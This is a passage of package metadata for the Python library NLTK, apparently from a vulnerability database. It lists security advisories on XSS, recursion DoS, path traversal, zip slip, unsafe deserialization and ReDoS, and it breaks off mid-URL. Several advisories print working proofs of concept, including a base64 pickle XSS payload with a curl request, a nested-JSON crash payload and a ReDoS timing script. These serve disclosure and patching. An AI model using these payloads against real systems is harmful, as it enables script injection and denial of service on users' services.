[`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '\u003cscript\u003ealert(1)\u003c/script\u003e' were not found in the dictionary.\n```\n\u003cimg width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" /\u003e\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\u003cscript\u003ealert(1)\u003c/script\u003e\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \u003cscript\u003ealert(1)\u003c/script\u003e\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:23:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7","https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f","https://nvd.nist.gov/vuln/detail/CVE-2026-33230","https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e","https://github.com/advisories/GHSA-gfwx-w7gr-fvh7"],"source_kind":"github","identifiers":["GHSA-gfwx-w7gr-fvh7","CVE-2026-33230"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.194Z","updated_at":"2026-06-03T15:01:41.417Z","epss_percentage":0.00019,"epss_percentile":0.05468,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","url":"https://github.com/advisories/GHSA-rf74-v2fm-23pw","title":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","description":"### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47–52\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = '{\"x\":' * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    if _depth \u003e 100:\n        raise ValueError(\"JSON nesting too deep\")\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val, _depth + 1) \n               for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T20:17:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw","https://github.com/advisories/GHSA-rf74-v2fm-23pw"],"source_kind":"github","identifiers":["GHSA-rf74-v2fm-23pw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.195Z","updated_at":"2026-04-05T20:00:32.640Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjc0LXYyZm0tMjNwd84ABT1R/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","url":"https://github.com/advisories/GHSA-h8wq-7xc4-p3qx","title":"NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()","description":"A vulnerability in the `filestring()` function of the `nltk.util` module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-09T21:31:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0846","https://huntr.com/bounties/007b84f8-418e-4300-99d0-bf504c2f97eb","https://github.com/nltk/nltk/pull/3485","https://github.com/nltk/nltk/commit/b2e1164bf89277f79b65406c829b99fb20ca1974","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-97.yaml","https://github.com/advisories/GHSA-h8wq-7xc4-p3qx"],"source_kind":"github","identifiers":["GHSA-h8wq-7xc4-p3qx","CVE-2026-0846"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-18T02:00:11.532Z","updated_at":"2026-06-09T13:01:02.854Z","epss_percentage":0.00088,"epss_percentile":0.24991,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHdxLTd4YzQtcDNxeM4ABTW4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","url":"https://github.com/advisories/GHSA-68j8-pq59-fqgm","title":"NLTK has a Path Traversal issue","description":"A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T21:32:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0847","https://huntr.com/bounties/fc69914f-36a9-4c18-8503-10013b39f966","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-98.yaml","https://github.com/advisories/GHSA-68j8-pq59-fqgm"],"source_kind":"github","identifiers":["GHSA-68j8-pq59-fqgm","CVE-2026-0847"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.704Z","updated_at":"2026-06-09T13:00:47.625Z","epss_percentage":0.0008,"epss_percentile":0.23531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","url":"https://github.com/advisories/GHSA-7p94-766c-hgjp","title":"NLTK has a Zip Slip Vulnerability","description":"A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-18T18:30:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-14009","https://huntr.com/bounties/49ecbc02-054e-4470-b2e0-b267936cc4e4","https://github.com/nltk/nltk/pull/3468","https://github.com/nltk/nltk/commit/1056b323af6462455571302e766b67cf300aea18","https://github.com/nltk/nltk/blob/4154eb85e832f266660a09286c7e37e308292284/ChangeLog#L1","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-96.yaml","https://github.com/advisories/GHSA-7p94-766c-hgjp"],"source_kind":"github","identifiers":["GHSA-7p94-766c-hgjp","CVE-2025-14009"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-19T21:00:08.821Z","updated_at":"2026-06-07T16:01:52.717Z","epss_percentage":0.00878,"epss_percentile":0.75515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","url":"https://github.com/advisories/GHSA-cgvx-9447-vcch","title":"ntlk unsafe deserialization vulnerability","description":"NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averaged_perceptron_tagger and punkt.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-28T00:33:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39705","https://github.com/nltk/nltk/issues/2522","https://github.com/nltk/nltk/issues/3266","https://github.com/nltk/nltk/commit/441aecb7d33014bd08672232c6c8bb69c2ceaba2","https://www.vicarius.io/vsociety/posts/rce-in-python-nltk-cve-2024-39705-39706","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2024-167.yaml","https://github.com/advisories/GHSA-cgvx-9447-vcch"],"source_kind":"github","identifiers":["GHSA-cgvx-9447-vcch","CVE-2024-39705"],"repository_url":"https://github.com/nltk/nltk","blast_radius":35.70158487540498,"created_at":"2024-06-28T22:05:19.937Z","updated_at":"2026-06-10T15:05:44.064Z","epss_percentage":0.10792,"epss_percentile":0.93501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9","vulnerable_version_range":"\u003c 3.9"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","url":"https://github.com/advisories/GHSA-rqjh-jp2r-59cj","title":"NLTK Vulnerable to REDoS","description":"NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions `get_pos_tagger` and `malt_regex_tagger`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-01-06T22:24:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3842","https://github.com/nltk/nltk/commit/2a50a3edc9d35f57ae42a921c621edc160877f4d","https://huntr.dev/bounties/761a761e-2be2-430a-8d92-6f74ffe9866a","https://github.com/nltk/nltk/pull/2906","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2022-5.yaml","https://github.com/advisories/GHSA-rqjh-jp2r-59cj"],"source_kind":"github","identifiers":["GHSA-rqjh-jp2r-59cj","CVE-2021-3842"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:39.177Z","updated_at":"2026-05-04T17:08:00.114Z","epss_percentage":0.0017,"epss_percentile":0.3797,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.6","vulnerable_version_range":"\u003c 3.6.6"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","url":"https://github.com/advisories/GHSA-f8m6-h2c7-8h9x","title":"Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)","description":"### Impact\nThe vulnerability is present in [`PunktSentenceTokenizer`](https://www.nltk.org/api/nltk.tokenize.punkt.html#nltk.tokenize.punkt.PunktSentenceTokenizer), [`sent_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.sent_tokenize)  and [`word_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.word_tokenize). Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. \nIn short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example:\n```python\nfrom nltk.tokenize import word_tokenize\n\nn = 8\nfor length in [10**i for i in range(2, n)]:\n    # Prepare a malicious input\n    text = \"a\" * length\n    start_t = time.time()\n    # Call `word_tokenize` and naively measure the execution time\n    word_tokenize(text)\n    print(f\"A length of {length:\u003c{n}} takes {time.time() - start_t:.4f}s\")\n```\nWhich gave the following output during testing:\n```python\nA length of 100      takes 0.0060s\nA length of 1000     takes 0.0060s\nA length of 10000    takes 0.6320s\nA length of 100000   takes 56.3322s\n...\n```\nI canceled the execution of the program after running it for several hours.\n\nIf your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.\n\n### Patches\nThe problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result:\n```python\nA length of 100      takes 0.0070s\nA length of 1000     takes 0.0010s\nA length of 10000    takes 0.0060s\nA length of 100000   takes 0.0400s\nA length of 1000000  takes 0.3520s\nA length of 10000000 takes 3.4641s\n```\nThis output shows a linear relationship in execution time versus input length, which is desirable for regular expressions.\nWe recommend updating to NLTK 3.6.6+ if possible.\n\n### Workarounds\nThe execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.\n\n### References\n* The issue showcasing the vulnerability: https://github.com/nltk/nltk/issues/2866\n* The pull request containing considerably more information on the vulnerability, and the fix: https://github.com/nltk/nltk/pull/2869\n* The commit containing the fix: 1405aad979c6b8080dbbc8e0858f89b2e3690341\n* Information on CWE-1333: Inefficient Regular Expression Complexity: https://cwe.mitre.org/data/definitions/1333.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/nltk/nltk](https://github.com/nltk/nltk)\n* Email us at [nltk.team@gmail.com](mailto:nltk.team@gmail.com)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-01-06T17:38:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f8m6-h2c7-8h9x","https://nvd.nist.gov/vuln/detail/CVE-2021-43854","https://github.com/nltk/nltk/issues/2866","https://github.com/nltk/nltk/pull/2869","https://github.com/nltk/nltk/commit/1405aad979c6b8080dbbc8e0858f89b2e3690341","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2021-859.yaml","https://github.com/advisories/GHSA-f8m6-h2c7-8h9x"],"source_kind":"github","identifiers":["GHSA-f8m6-h2c7-8h9x","CVE-2021-43854"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:39.506Z","updated_at":"2026-06-12T07:04:42.118Z","epss_percentage":0.00144,"epss_percentile":0.3452,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.6","vulnerable_version_range":"\u003c 3.6.6"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ","url":"https://github.com/advisories/GHSA-2ww3-fxvq-293j","title":"NLTK Vulnerable to REDoS","description":"The nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [`_read_comparison_block()`(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file `nltk/corpus/reader/comparative_sents.py` may cause an application to consume an excessive amount of CPU.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-09-29T17:14:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3828","https://github.com/nltk/nltk/pull/2816","https://github.com/nltk/nltk/commit/277711ab1dec729e626b27aab6fa35ea5efbd7e6","https://huntr.dev/bounties/d19aed43-75bc-4a03-91a0-4d0bb516bc32","https://github.com/advisories/GHSA-2ww3-fxvq-293j","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2021-356.yaml"],"source_kind":"github","identifiers":["GHSA-2ww3-fxvq-293j","CVE-2021-3828"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:29.777Z","updated_at":"2026-04-05T20:08:02.336Z","epss_percentage":0.00433,"epss_percentile":0.62521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.4","vulnerable_version_range":"\u003c 3.6.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd3czLWZ4dnEtMjkzas0WBQ/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy","url":"https://github.com/advisories/GHSA-mr7p-25v2-35wr","title":"NLTK Vulnerable To Path Traversal","description":"NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a `../` (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-08-23T21:53:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-14751","https://github.com/mssalvatore/CVE-2019-14751_PoC","https://github.com/nltk/nltk/blob/3.4.5/ChangeLog","https://github.com/nltk/nltk/commit/f59d7ed8df2e0e957f7f247fe218032abdbe9a10","http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00054.html","http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00001.html","https://github.com/advisories/GHSA-mr7p-25v2-35wr","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2019-106.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QI4IJGLZQ5S7C5LNRNROHAO2P526XE3D","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZGZSSEJH7RHH3RBUEVWWYT75QU67J7SE","https://salvatoresecurity.com/zip-slip-in-nltk-cve-2019-14751"],"source_kind":"github","identifiers":["GHSA-mr7p-25v2-35wr","CVE-2019-14751"],"repository_url":"https://github.com/mssalvatore/CVE-2019-14751_PoC","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:13:28.389Z","updated_at":"2026-06-09T13:08:48.164Z","epss_percentage":0.03163,"epss_percentile":0.87177,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.4.5","vulnerable_version_range":"\u003c 3.4.5"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yN3AtMjV2Mi0zNXdy/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/nltk","docker_dependents_count":1865,"docker_downloads_count":974969708,"usage_url":"https://repos.ecosyste.ms/usage/pypi/nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/nltk/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-06-06T09:00:17.872Z","issues_count":298,"pull_requests_count":317,"avg_time_to_close_issue":28430395.511764705,"avg_time_to_close_pull_request":10165972.25630252,"issues_closed_count":170,"pull_requests_closed_count":238,"pull_request_authors_count":112,"issue_authors_count":257,"avg_comments_per_issue":3.738255033557047,"avg_comments_per_pull_request":3.0599369085173502,"merged_pull_requests_count":164,"bot_issues_count":0,"bot_pull_requests_count":3,"past_year_issues_count":33,"past_year_pull_requests_count":104,"past_year_avg_time_to_close_issue":2634153.3333333335,"past_year_avg_time_to_close_pull_request":2097194.574074074,"past_year_issues_closed_count":12,"past_year_pull_requests_closed_count":54,"past_year_pull_request_authors_count":39,"past_year_issue_authors_count":26,"past_year_avg_comments_per_issue":1.7272727272727273,"past_year_avg_comments_per_pull_request":3.576923076923077,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":52,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.m